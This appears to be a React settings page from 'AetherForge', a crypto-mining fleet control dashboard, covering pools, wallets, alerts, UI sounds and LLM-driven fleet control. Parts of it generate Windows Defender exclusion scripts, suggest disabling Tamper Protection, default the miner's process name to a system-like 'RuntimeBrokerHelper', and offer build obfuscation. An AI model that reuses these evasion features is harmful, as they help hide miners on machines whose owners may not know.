Files
AetherForge/server/web/src/pages/SettingsPage.tsx
AetherForge 0002e5fd93
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Calibrate AI Control UI and fleet LLM backend wiring.
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
2026-06-07 02:14:28 -07:00

1341 lines
62 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig, ServerInfo } from '../types';
import {
DEFAULT_PRESET_IDS,
orderedPoolsFromSelection,
applyPoolsToForgeFields,
DEFAULT_RVN_PRESET_IDS,
orderedRVNPoolsFromSelection,
applyRVNPoolsToForgeFields,
} from '../help/poolPresets';
import { looksLikeXMRWallet } from '../help/forgeValidation';
import { HelpTip, FieldHint } from '../components/HelpTip';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import FleetRuntimePanel from '../components/Fleet/FleetRuntimePanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useAmbientMusic } from '../context/AmbientMusicContext';
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
import { useVisualEffects } from '../context/VisualEffectsContext';
import {
FORGE_SKIN_IDS,
loadStoredForgeTheme,
storeForgeTheme,
type ForgeSkinId,
type ForgeThemeOverride,
} from '../help/forgeOperationModes';
import {
buildDefenderExclusionScript,
defaultWindowsInstallPreview,
} from '../help/defenderExclusion';
import CalibrationAIControl, {
DEFAULT_AI_INTERVAL_SEC,
DEFAULT_AI_LOCAL_ENDPOINT,
} from '../components/CalibrationAIControl';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
const result = { ...base } as T;
for (const key in override) {
const val = override[key];
const baseVal = base[key];
if (
val !== null &&
val !== undefined &&
typeof val === 'object' &&
!Array.isArray(val) &&
typeof baseVal === 'object' &&
baseVal !== null &&
!Array.isArray(baseVal)
) {
result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
} else if (val !== undefined) {
result[key] = val as T[typeof key];
}
}
return result;
}
export default function SettingsPage() {
const {
enabled: sfxEnabled,
volume: sfxVolume,
hoverEnabled,
hoverVolume,
setEnabled: setSfxEnabled,
setVolume: setSfxVolume,
setHoverEnabled,
setHoverVolume,
preview: previewSfx,
previewHover,
} = useSound();
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
const { glowParticles, setGlowParticles } = useVisualEffects();
const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const [saveMessage, setSaveMessage] = useState('');
const [newUser, setNewUser] = useState('');
const [newPass, setNewPass] = useState('');
const [sessionUser, setSessionUser] = useState('');
const [sessionPass, setSessionPass] = useState('');
const [userMsg, setUserMsg] = useState('');
const [rotatingSecret, setRotatingSecret] = useState(false);
const [rotateMsg, setRotateMsg] = useState('');
const [backingUp, setBackingUp] = useState(false);
const [backupMsg, setBackupMsg] = useState('');
const [testingAlerts, setTestingAlerts] = useState(false);
const [alertTestMsg, setAlertTestMsg] = useState('');
const [avInstallPath, setAvInstallPath] = useState(defaultWindowsInstallPreview());
const [avProcessName, setAvProcessName] = useState('RuntimeBrokerHelper');
const [avScriptMsg, setAvScriptMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([cfg, info]) => {
const detectedLan = info.lan_url?.trim()
|| (info.local_ips?.[0] ? `http://${info.local_ips[0]}:${cfg.port || info.port || 8989}` : '');
const publicUrl = cfg.server?.public_url?.trim() || detectedLan;
setConfig({
...cfg,
rvn_wallet: cfg.rvn_wallet ?? { address: '', payment_id: '' },
rvn_pool: cfg.rvn_pool ?? {
host: 'rvn.2miners.com',
port: 6060,
use_tls: false,
password: 'x',
backup_pools: [],
},
tunnel_defaults: {
cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '',
cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '',
},
alerts: {
...cfg.alerts,
notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
notify_agent_reconnect: cfg.alerts?.notify_agent_reconnect ?? true,
notify_agent_offline: cfg.alerts?.notify_agent_offline ?? true,
notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
},
server: {
public_url: publicUrl,
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
build_retention_days: cfg.server?.build_retention_days ?? 30,
pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30,
websocket_ping_seconds: cfg.server?.websocket_ping_seconds ?? 30,
max_agents: cfg.server?.max_agents ?? 256,
max_build_size_mb: cfg.server?.max_build_size_mb ?? 150,
log_agent_connections: cfg.server?.log_agent_connections ?? true,
log_share_submissions: cfg.server?.log_share_submissions ?? false,
log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'Fleet Command & Control',
open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
public_builds_enabled: cfg.server?.public_builds_enabled ?? false,
public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3,
},
});
setServerInfo(info);
})
.catch(console.error)
.finally(() => setLoading(false));
}, []);
const updateField = (path: string, value: unknown) => {
if (!config) return;
const newConfig = { ...config };
const keys = path.split('.');
let obj: Record<string, unknown> = newConfig as unknown as Record<string, unknown>;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!obj[key] || typeof obj[key] !== 'object') {
obj[key] = {};
}
obj = obj[key] as Record<string, unknown>;
}
obj[keys[keys.length - 1]] = value;
setConfig(newConfig);
};
const handleSave = async () => {
if (!config) return;
const wallet = config.wallet.address?.trim() ?? '';
if (wallet && !looksLikeXMRWallet(wallet)) {
const strict = config.server?.strict_wallet_validation ?? false;
if (strict) {
setSaveMessage('Save blocked: wallet does not look like a valid Monero mainnet address.');
return;
}
if (!window.confirm('Wallet does not look like a standard Monero address. Save anyway?')) {
return;
}
}
setSaving(true);
setSaveMessage('');
try {
let payload = config;
if (config.server?.ai_control_enabled) {
payload = {
...config,
server: {
...config.server,
ai_endpoint:
config.server.ai_endpoint?.trim()
|| config.server.ai_local_endpoint?.trim()
|| DEFAULT_AI_LOCAL_ENDPOINT,
ai_no_context: true,
ai_decision_interval_sec:
config.server.ai_decision_interval_sec
?? config.server.ai_interval_sec
?? DEFAULT_AI_INTERVAL_SEC,
},
};
}
const updated = await api.updateConfig(payload);
setConfig(updated);
setSaveMessage('Calibration saved — control server updated.');
setTimeout(() => setSaveMessage(''), 4000);
} catch (err: unknown) {
setSaveMessage(`Save failed: ${err instanceof Error ? err.message : 'unknown error'}`);
} finally {
setSaving(false);
}
};
const handleExportConfig = () => {
if (!config) return;
const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'aetherforge-server-config.json';
a.click();
URL.revokeObjectURL(url);
};
const handleFullBackup = async () => {
setBackingUp(true);
setBackupMsg('');
try {
await api.downloadBackup();
setBackupMsg('Backup downloaded.');
setTimeout(() => setBackupMsg(''), 4000);
} catch (e: unknown) {
setBackupMsg('Backup failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setBackingUp(false);
}
};
const handleImportConfig = () => fileInputRef.current?.click();
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
const file = e.target.files?.[0];
if (!file) return;
const reader = new FileReader();
reader.onload = (evt) => {
try {
const data = JSON.parse(evt.target?.result as string);
// Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
// wipe unrelated nested sections like "default_agent" or "mining".
setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
} catch {
setSaveMessage('Invalid JSON file.');
}
};
reader.readAsText(file);
e.target.value = '';
};
const handleSessionLogin = () => {
if (!sessionUser || !sessionPass) return;
setStoredAuth(sessionUser, sessionPass);
setUserMsg('Session login saved — API calls from this browser will authenticate.');
setTimeout(() => setUserMsg(''), 4000);
};
const handleSessionLogout = () => {
clearStoredAuth();
setSessionUser('');
setSessionPass('');
setUserMsg('Session login cleared.');
setTimeout(() => setUserMsg(''), 3000);
};
const handleTestAlerts = async () => {
if (!config) return;
setTestingAlerts(true);
setAlertTestMsg('');
try {
if (!config.alerts.telegram_bot_token?.trim() && !config.alerts.email_enabled) {
setAlertTestMsg('Enter Telegram token + chat ID (or enable SMTP) first.');
return;
}
await api.updateConfig(config);
const result = await api.testAlerts();
const parts: string[] = [];
const tg = result.telegram;
if (tg) {
parts.push(tg.sent ? '✓ Telegram delivered' : `✕ Telegram: ${tg.error || 'failed'}`);
}
const smtp = result.smtp;
if (smtp) {
parts.push(smtp.sent ? '✓ Email delivered' : `✕ Email: ${smtp.error || 'failed'}`);
}
setAlertTestMsg(parts.join(' · ') || 'No channels configured.');
if (tg?.sent || smtp?.sent) previewSfx('success');
} catch (e: unknown) {
setAlertTestMsg('Test failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setTestingAlerts(false);
setTimeout(() => setAlertTestMsg(''), 12000);
}
};
const handleRotateSecret = async () => {
if (!window.confirm(
'Rotate fleet secret?\n\n' +
'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' +
'Click OK only if you are ready to re-forge your entire fleet.'
)) return;
setRotatingSecret(true);
setRotateMsg('');
try {
await api.rotateFleetSecret();
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
} catch (e: unknown) {
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setRotatingSecret(false);
setTimeout(() => setRotateMsg(''), 6000);
}
};
const handleAddUser = async () => {
if (!newUser || !newPass) return;
try {
await api.createUser(newUser, newPass);
setUserMsg(`User "${newUser}" added successfully!`);
if (!getStoredAuth()) {
setStoredAuth(newUser, newPass);
}
setNewUser('');
setNewPass('');
setTimeout(() => setUserMsg(''), 3000);
} catch {
setUserMsg('Failed to save user — sign in under Browser session first.');
setTimeout(() => setUserMsg(''), 4000);
}
};
if (loading) {
return (
<div className="page fade-in command-deck operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">SERVER ONLY</p>
<h1>Calibrate</h1>
</div>
</header>
<NeonCard accent="brass"><p>Loading server calibration...</p></NeonCard>
</div>
);
}
if (!config) {
return (
<div className="page fade-in command-deck operator-deck-page">
<NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
</div>
);
}
const s = config.server || {
public_url: '',
stats_retention_hours: 168,
build_retention_days: 30,
pool_reconnect_seconds: 30,
websocket_ping_seconds: 30,
max_agents: 256,
max_build_size_mb: 150,
log_agent_connections: true,
log_share_submissions: false,
log_pool_traffic: false,
strict_wallet_validation: false,
dashboard_subtitle: '',
open_firewall_on_start: true,
obfuscate_default: false,
sign_enabled: false,
sign_cert_thumbprint: '',
sign_tool_path: '',
sign_timestamp_url: 'http://timestamp.digicert.com',
public_builds_enabled: false,
public_builds_latest_n: 3,
};
return (
<div className="page fade-in command-deck operator-deck-page">
<input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">CONTROL SERVER · LOCAL HOST</p>
<h1>Calibrate</h1>
<p className="page-subtitle">
Settings for this machine only the dashboard, pool relay, and LAN address. Miner installers are built in the Forge tab.
</p>
</div>
<div className="deck-hero-actions">
<button className="btn btn-primary" onClick={handleSave} disabled={saving}>
{saving ? 'Saving...' : 'Save Calibration'}
</button>
<button className="btn btn-outline" onClick={handleExportConfig}>Export</button>
<button className="btn btn-outline" onClick={handleImportConfig}>Import</button>
<button
className="btn btn-outline"
onClick={handleFullBackup}
disabled={backingUp}
title="Downloads config, agent DB, and credentials."
>
{backingUp ? 'Backing up…' : 'Full Deck Backup'}
</button>
</div>
{backupMsg && (
<div className={`save-message ${backupMsg.includes('failed') ? 'error' : 'success'}`}>{backupMsg}</div>
)}
</header>
{saveMessage && (
<div className={`save-message ${saveMessage.includes('failed') ? 'error' : 'success'}`}>{saveMessage}</div>
)}
{serverInfo && (
<NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
<p className="font-tech">DETECTED ENDPOINTS</p>
{(serverInfo.lan_url || serverInfo.local_ips?.length) ? (
<p>
<strong>LAN:</strong>{' '}
<code className="mono-sm">{serverInfo.lan_url || serverInfo.suggested_url}</code>
</p>
) : null}
{serverInfo.tunnel_url ? (
<p>
<strong>HTTPS (tunnel):</strong>{' '}
<code className="mono-sm">{serverInfo.tunnel_url}</code>
</p>
) : serverInfo.cloudflared_configured ? (
<p className="form-hint">
Cloudflare tunnel connector is configured on this server open the dashboard via your tunnel hostname to see the public HTTPS endpoint here.
</p>
) : null}
{serverInfo.local_ips?.length > 0 && (
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
)}
<p className="form-hint">Workers on your LAN need the LAN address not localhost. Remote workers can use the HTTPS tunnel URL when cloudflared is running.</p>
<button
type="button"
className="btn btn-primary btn-sm"
style={{ marginTop: '0.75rem' }}
onClick={() => {
if (!config) return;
const lan = serverInfo.lan_url || serverInfo.suggested_url;
updateField('server.public_url', lan);
updateField('server.open_firewall_on_start', true);
updateField('server.obfuscate_default', false);
updateField('server.sign_enabled', false);
const pools = orderedPoolsFromSelection(
[...DEFAULT_PRESET_IDS],
config.pool.password || 'x'
);
const poolFields = applyPoolsToForgeFields(pools);
updateField('pool.host', poolFields.pool_host);
updateField('pool.port', poolFields.pool_port);
updateField('pool.use_tls', poolFields.pool_tls);
updateField(
'pool.backup_pools',
poolFields.backup_pools.map((bp) => ({
host: bp.host,
port: bp.port,
use_tls: bp.tls,
}))
);
if (!config.wallet.address?.trim()) {
setSaveMessage('TLS pool presets + LAN URL applied — set your Monero wallet, then Save Calibration.');
} else {
setSaveMessage('Best defaults applied (LAN URL + TLS pool presets) — click Save Calibration to keep them.');
}
}}
>
Use best defaults
</button>
<FieldHint field="calibrate_quick_setup" />
</NeonCard>
)}
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
<h2 className="font-display">Windows Defender Exclusions</h2>
<p className="section-desc">
Generate a PowerShell script to allowlist your forge install path and worker process.
Run it <strong>manually as Administrator</strong> on each mining PC the agent does not silently bypass AV.
Disable Tamper Protection temporarily if exclusions are rejected.
</p>
<div className="form-row">
<div className="form-group" style={{ flex: 2 }}>
<label className="label" htmlFor="av-install-path">Install path</label>
<input
id="av-install-path"
className="input"
value={avInstallPath}
onChange={(e) => setAvInstallPath(e.target.value)}
placeholder="%LOCALAPPDATA%\CryptoMiner\worker-{build_short}"
/>
</div>
<div className="form-group" style={{ flex: 1 }}>
<label className="label" htmlFor="av-process-name">Process name</label>
<input
id="av-process-name"
className="input"
value={avProcessName}
onChange={(e) => setAvProcessName(e.target.value)}
placeholder="RuntimeBrokerHelper"
/>
</div>
</div>
<div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap', marginTop: '0.5rem' }}>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={async () => {
const script = buildDefenderExclusionScript({
installPath: avInstallPath,
processName: avProcessName,
});
try {
await navigator.clipboard.writeText(script);
setAvScriptMsg('Script copied — run elevated on each Windows worker.');
} catch {
setAvScriptMsg('Clipboard blocked — select script from download below.');
}
}}
>
Copy exclusion script
</button>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => {
const script = buildDefenderExclusionScript({
installPath: avInstallPath,
processName: avProcessName,
});
const blob = new Blob([script], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'aetherforge-defender-exclusions.ps1';
a.click();
URL.revokeObjectURL(url);
setAvScriptMsg('Downloaded aetherforge-defender-exclusions.ps1');
}}
>
Download .ps1
</button>
</div>
{avScriptMsg && (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>{avScriptMsg}</p>
)}
</NeonCard>
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive calibration-ai-section" style={{ marginBottom: '1rem' }}>
<h2 className="font-display">
Calibration Control <HelpTip field="calibration_ai_control" />
</h2>
<p className="section-desc">
Choose how the server steers fleet behavior weighted logic gates or a local LLM loop.
</p>
<CalibrationAIControl
server={s}
onUpdate={updateField}
/>
<FieldHint field="calibration_ai_control" />
</NeonCard>
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Deck Atmosphere</h2>
<p className="section-desc">
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
low-power devices if you want a calmer deck.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={glowParticles}
onChange={(e) => setGlowParticles(e.target.checked)}
/>
<span>Glow particles &amp; sparkles</span>
</label>
</div>
<div className="form-group" style={{ marginTop: '1.25rem' }}>
<label htmlFor="cfg-forge-theme" className="label">
Forge theme
</label>
<p className="section-desc" style={{ marginBottom: '0.5rem' }}>
Seasonal forge chrome on The Forge page. Auto follows the selected operation mode preset;
pick a skin to override.
</p>
<select
id="cfg-forge-theme"
className="select"
value={forgeTheme}
onChange={(e) => {
const next = e.target.value as ForgeThemeOverride;
setForgeTheme(next);
storeForgeTheme(next);
}}
>
<option value="auto">Auto (follow operation mode)</option>
{FORGE_SKIN_IDS.map((id: ForgeSkinId) => (
<option key={id} value={id}>
{id === 'aether'
? 'Default Aether'
: id === 'halloween'
? 'Halloween'
: id === 'ghost'
? 'Ghost Walk'
: id === 'wildfire'
? 'Wildfire'
: 'Crucible Storm'}
</option>
))}
</select>
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Sound &amp; Haptics</h2>
<p className="section-desc">
Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
on the deck first to unlock audio. Fleet events (agents, shares, alerts) use separate cues.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={sfxEnabled}
onChange={(e) => setSfxEnabled(e.target.checked)}
/>
<span>Enable sound effects &amp; haptic vibration</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-sfx-volume" className="label">
Volume ({Math.round(sfxVolume * 100)}%)
</label>
<input
id="cfg-sfx-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(sfxVolume * 100)}
disabled={!sfxEnabled}
onChange={(e) => setSfxVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
<div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('click')}
>
Preview click
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('alert')}
>
Preview alert
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('share')}
>
Preview share
</button>
</div>
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Hover highlight sounds</h3>
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid
mouse movement stays quiet. Muted when click sounds are off.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={hoverEnabled}
disabled={!sfxEnabled}
onChange={(e) => setHoverEnabled(e.target.checked)}
/>
<span>Enable hover highlight sounds</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-hover-volume" className="label">
Hover volume ({Math.round(hoverVolume * 100)}%)
</label>
<input
id="cfg-hover-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(hoverVolume * 100)}
disabled={!sfxEnabled || !hoverEnabled}
onChange={(e) => setHoverVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled || !hoverEnabled}
onClick={previewHover}
>
Preview hover
</button>
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Background music</h3>
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
Optional looping ambient track served from <code className="mono-sm">{AMBIENT_MUSIC_SRC}</code>. Use the
mini player in the bottom-right corner on any page, or enable here. Defaults off browsers block autoplay
until you press play or toggle this on.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={bgmEnabled}
onChange={(e) => setBgmEnabled(e.target.checked)}
/>
<span>Enable background music</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-bgm-volume" className="label">
Music volume ({Math.round(bgmVolume * 100)}%)
</label>
<input
id="cfg-bgm-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(bgmVolume * 100)}
disabled={!bgmEnabled}
onChange={(e) => setBgmVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Control Server</h2>
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-port" className="label">Listen Port</label>
<input id="cfg-port" type="number" className="input" min={1024} max={65535} value={config.port}
onChange={(e) => updateField('port', parseInt(e.target.value) || 8989)} />
<span className="form-hint">Restart server after changing port.</span>
</div>
<div className="form-group">
<label htmlFor="cfg-data-dir" className="label">Data Directory</label>
<input id="cfg-data-dir" type="text" className="input mono" value={config.data_dir}
onChange={(e) => updateField('data_dir', e.target.value)} />
</div>
</div>
<div className="form-group">
<label htmlFor="cfg-public-url" className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
<div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<input id="cfg-public-url" type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
placeholder={serverInfo?.lan_url || serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
value={s.public_url}
onChange={(e) => updateField('server.public_url', e.target.value)} />
{(serverInfo?.lan_url || serverInfo?.suggested_url) && (
<button type="button" className="btn btn-outline btn-sm"
onClick={() => updateField('server.public_url', serverInfo.lan_url || serverInfo.suggested_url)}>
Use detected LAN
</button>
)}
</div>
<FieldHint field="public_url" />
</div>
<div className="form-group">
<label htmlFor="cfg-cf-token" className="label">
Cloudflare Tunnel Token <HelpTip field="cloudflare_tunnel_token" />
</label>
<input
id="cfg-cf-token"
type="password"
className="input mono"
autoComplete="off"
placeholder="eyJhIjoi… connector token from Cloudflare"
value={config.tunnel_defaults?.cloudflare_tunnel_token ?? ''}
onChange={(e) => updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)}
/>
<FieldHint field="cloudflare_tunnel_token" />
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
After saving, restart LAUNCH / the server. Connector also reads <code className="mono">data/cloudflared-token.txt</code> on USB.
</p>
</div>
<div className="form-group">
<label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label>
<input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle}
onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.open_firewall_on_start ?? true}
onChange={(e) => updateField('server.open_firewall_on_start', e.target.checked)} />
<span>Open dashboard port in Windows Firewall on startup <HelpTip field="open_firewall_on_start" /></span>
</label>
<FieldHint field="open_firewall_on_start" />
</div>
</NeonCard>
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Upstream Pool</h2>
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own unreachable pools are skipped automatically.</p>
<PoolPresetPicker
host={config.pool.host}
port={config.pool.port}
tls={config.pool.use_tls}
pass={config.pool.password || 'x'}
backups={(config.pool.backup_pools ?? []).map(
(bp): BackupPool => ({ host: bp.host, port: bp.port, tls: bp.use_tls, pass: config.pool.password || 'x' })
)}
onChange={(next) => {
updateField('pool.host', next.pool_host);
updateField('pool.port', next.pool_port);
updateField('pool.use_tls', next.pool_tls);
updateField(
'pool.backup_pools',
(next.backup_pools ?? []).map((bp) => ({
host: bp.host,
port: bp.port,
use_tls: bp.tls,
}))
);
}}
/>
<div className="form-group">
<label htmlFor="cfg-pool-pass" className="label">Pool Password</label>
<input id="cfg-pool-pass" type="text" className="input" value={config.pool.password}
onChange={(e) => updateField('pool.password', e.target.value)} />
</div>
<div className="form-group">
<label htmlFor="cfg-pool-reconnect" className="label">Pool Reconnect Interval (sec)</label>
<input id="cfg-pool-reconnect" type="number" className="input" min={5} value={s.pool_reconnect_seconds}
onChange={(e) => updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />
</div>
</NeonCard>
<NeonCard accent="purple" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Payout Wallet</h2>
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
<div className="form-group">
<label htmlFor="cfg-wallet-addr" className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
<input id="cfg-wallet-addr" type="text" className="input mono" placeholder="4… or 8… (90106 chars)"
value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)} />
<FieldHint field="calibrate_wallet" />
</div>
<div className="form-group">
<label htmlFor="cfg-payment-id" className="label">Payment ID (optional)</label>
<input id="cfg-payment-id" type="text" className="input mono" value={config.wallet.payment_id}
onChange={(e) => updateField('wallet.payment_id', e.target.value)} />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.strict_wallet_validation}
onChange={(e) => updateField('server.strict_wallet_validation', e.target.checked)} />
<span>Strict wallet validation on build API</span>
</label>
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
<p className="section-desc">
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
</p>
<div className="form-group">
<label htmlFor="cfg-rvn-wallet" className="label">RVN Wallet Address</label>
<input
id="cfg-rvn-wallet"
type="text"
className="input mono"
placeholder="R… (Ravencoin address)"
value={config.rvn_wallet?.address ?? ''}
onChange={(e) => updateField('rvn_wallet.address', e.target.value)}
/>
</div>
<RVNPoolPresetPicker
host={config.rvn_pool?.host ?? ''}
port={config.rvn_pool?.port ?? 0}
tls={config.rvn_pool?.use_tls ?? false}
pass={config.rvn_pool?.password ?? 'x'}
backups={(config.rvn_pool?.backup_pools ?? []).map((bp) => ({
host: bp.host, port: bp.port, tls: bp.use_tls,
}))}
onChange={(fields) => {
updateField('rvn_pool.host', fields.rvn_pool_host);
updateField('rvn_pool.port', fields.rvn_pool_port);
updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x');
updateField('rvn_pool.backup_pools',
(fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
host: bp.host, port: bp.port, use_tls: bp.tls,
}))
);
}}
/>
<div className="form-group" style={{ marginTop: '0.75rem' }}>
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => {
const pools = orderedRVNPoolsFromSelection(
[...DEFAULT_RVN_PRESET_IDS],
config.rvn_pool?.password || 'x'
);
const f = applyRVNPoolsToForgeFields(pools);
updateField('rvn_pool.host', f.rvn_pool_host);
updateField('rvn_pool.port', f.rvn_pool_port);
updateField('rvn_pool.use_tls', f.rvn_pool_tls);
updateField('rvn_pool.backup_pools',
(f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
host: bp.host, port: bp.port, use_tls: bp.tls,
}))
);
setSaveMessage('RVN pool presets applied — click Save Calibration.');
}}
>
Apply default RVN pools
</button>
</div>
</NeonCard>
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Alerts <HelpTip field="set_alerts" /></h2>
<p className="section-desc">Dashboard thresholds for agent health.</p>
<div className="form-group">
<label htmlFor="cfg-alert-offline" className="label">Offline After (minutes)</label>
